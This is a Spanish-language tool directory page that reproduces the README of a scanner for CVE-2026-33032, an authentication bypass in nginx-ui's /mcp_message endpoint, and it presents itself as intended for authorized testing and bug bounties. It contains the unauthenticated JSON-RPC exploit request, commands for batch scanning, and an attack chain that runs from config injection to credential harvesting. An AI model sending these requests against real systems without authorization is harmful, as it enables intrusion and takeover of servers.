Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-33032-scanner — Escáner de vulnerabilidades no destructivo para la omisión de autenticación del endpoint MCP de Nginx-UI (CVE-2026-33032) | Kitploit
Herramientas/GitHubGitHub/twinson333/cve-2026-33032-scanner
Escáneres de VulnerabilidadesExplotaciónSeguridad WebPruebas de PenetraciónAutenticaciónSeguridad de APIs
GitHubtwinson333/cve-2026-33032-scanner

cve-2026-33032-scanner

Escáner de vulnerabilidades no destructivo para la omisión de autenticación del endpoint MCP de Nginx-UI (CVE-2026-33032)

Ver Repositorio
3222hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Escáner CVE-2026-33032

Escáner de vulnerabilidades no destructivo para la omisión de autenticación del endpoint MCP de Nginx-UI

Resumen de la Vulnerabilidad

CVE-2026-33032 es una vulnerabilidad de omisión de autenticación en la integración del Protocolo de Contexto de Modelo (MCP) de nginx-ui. El endpoint /mcp_message carece de middleware de autenticación mientras proporciona acceso a todas las herramientas MCP, lo que permite a atacantes remotos:

  • Leer configuraciones y estado de nginx
  • Crear/modificar/eliminar archivos de configuración de nginx
  • Reiniciar o recargar el servicio nginx
  • Exfiltrar datos de configuración sensibles
  • Inyectar configuraciones maliciosas para la interceptación de tráfico

Causa Raíz

  1. Asimetría de Autenticación: El endpoint /mcp requiere autenticación, pero /mcp_message no:

    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
    r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // Falta AuthRequired()
    
  2. Lista Blanca IP Fail-Open: La lista blanca IP predeterminada está vacía, lo que el middleware trata como "permitir todo"

  3. Ambos Endpoints Comparten Manejador: Ambos enrutan al mismo mcp.ServeHTTP() que procesa todas las invocaciones de herramientas MCP

Características del Escáner

✅ Pruebas no destructivas - Utiliza solo herramientas MCP de solo lectura
✅ Huella digital integral - Identifica instalaciones de nginx-ui
✅ Prueba de concepto segura - No se realizan cambios de configuración
✅ Escaneo por lotes - Procesa múltiples objetivos desde archivo
✅ Informes detallados - Salida JSON para integración

Instalación

# Clonar o descargar el escáner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py

# Instalar dependencias (si es necesario)
pip3 install requests

Uso

Escaneo Básico

# Escanear un solo objetivo
python3 cve-2026-33032-scanner.py -u http://target.com:9000

# Escanear con salida detallada
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v

# Tiempo de espera personalizado
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15

Escaneo por Lotes

# Escanear múltiples objetivos desde archivo
python3 cve-2026-33032-scanner.py -f targets.txt

# Con salida detallada e informe JSON
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json

# Pingback de Burp
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net

Formato del Archivo de Objetivos

# targets.txt - una URL por línea
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000

Cómo Funciona

El escáner realiza un proceso de detección en múltiples etapas:

Etapa 1: Huella Digital

Comprueba endpoints comunes de nginx-ui para identificar la instalación:

  • /api/info - Información de versión
  • /login - Página de inicio de sesión
  • /api/auth/login - Endpoint de autenticación
  • /mcp y /mcp_message - Endpoints MCP

Etapa 2: Verificación de Autenticación

Prueba el endpoint /mcp para verificar que requiere autenticación correctamente (línea base)

Etapa 3: Explotación de la Vulnerabilidad

Intenta llamadas no destructivas a herramientas MCP a través de /mcp_message SIN autenticación:

  1. nginx_status (más seguro) - Lee el estado del proceso nginx
  2. nginx_config_list - Lista los archivos de configuración
  3. nginx_config_base_path - Obtiene la ruta del directorio de configuración

Si alguna herramienta tiene éxito sin autenticación, la vulnerabilidad se confirma.

Herramientas MCP Seguras Utilizadas

El escáner solo invoca herramientas MCP de solo lectura:

HerramientaDescripciónImpacto
nginx_statusLeer estado del servicio nginxSin cambios
nginx_config_listListar archivos de configuraciónSin cambios
nginx_config_base_pathObtener ruta del directorio de configuraciónSin cambios

Herramientas explícitamente evitadas:

  • nginx_config_add - Crearía archivos
  • nginx_config_modify - Alteraría configuraciones
  • restart_nginx / reload_nginx - Interrupción del servicio
  • nginx_config_enable - Cambiaría configuraciones activas

Ejemplos de Salida

Objetivo Vulnerable

[+] nginx-ui detectado: Se encontró 'nginx-ui' en /login
[+] Endpoint /mcp protegido correctamente

[*] Probando endpoint /mcp_message (CVE-2026-33032)...
  [*] Probando herramienta: nginx_status - Leer estado de nginx (más seguro)
      Estado: 200

======================================================================
[!] VULNERABLE a CVE-2026-33032
======================================================================
Prueba: Se ejecutó nginx_status exitosamente sin autenticación

Objetivo Protegido

[+] nginx-ui detectado: Endpoint de versión accesible
[+] Endpoint /mcp protegido correctamente

[*] Probando endpoint /mcp_message (CVE-2026-33032)...
  [*] Probando herramienta: nginx_status - Leer estado de nginx (más seguro)
      Estado: 401
      Autenticación requerida (protegido) ✓

[+] NO vulnerable - el endpoint requiere autenticación

Remediación

Si se confirma la vulnerabilidad:

  1. Solución Inmediata: Agregar middleware de autenticación a /mcp_message:

    r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    
  2. Defensa en Profundidad:

    • Configurar la lista blanca IP para denegar todo por defecto
    • Restringir los endpoints MCP solo a localhost si no se necesita acceso externo
    • Implementar limitación de velocidad en los endpoints MCP
  3. Actualización: Actualizar a la versión parcheada de nginx-ui cuando esté disponible

Divulgación Responsable

Esta herramienta está diseñada para:

  • ✅ Programas de recompensas por errores
  • ✅ Pruebas de penetración autorizadas
  • ✅ Investigación de seguridad con permiso
  • ✅ Validación de vulnerabilidades antes de la divulgación

NO utilice esta herramienta en sistemas que no posea o para los que no tenga permiso explícito de prueba.

Consejos para Recompensas por Errores

Al informar esta vulnerabilidad:

  1. Gravedad: Crítica (CVSS 9.8+)

    • Accesible por red
    • No requiere autenticación
    • Compromiso completo del sistema
    • Exfiltración + modificación de configuración
  2. Prueba: Incluir la salida del escáner que muestre la invocación exitosa de herramientas MCP sin autenticación

  3. Cadena de Impacto:

    • Acceso no autenticado → Lectura de configuración → Topología del backend revelada
    • Escritura de configuración → Inyección de proxy malicioso → Recolección de credenciales
    • Reinicio de nginx → Interrupción del servicio → DoS
  4. PoC Seguro: Usar solo las herramientas de solo lectura (nginx_status, nginx_config_list)

Detalles Técnicos

Formato de Invocación de Herramientas MCP

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_status",
    "arguments": {}
  },
  "id": 1
}

Respuesta Exitosa

{
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "nginx is running (PID: 1234)"
      }
    ]
  },
  "id": 1
}

Respuesta Protegida

HTTP/1.1 401 Unauthorized
{
  "error": "authentication required"
}

Referencias

  • CVE: CVE-2026-33032
  • Afectado: nginx-ui (versiones con integración MCP)
  • CVSS: 9.8 (Crítica)
  • CWE: CWE-306 (Autenticación faltante para función crítica)

Licencia

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

Autor

Descargar herramienta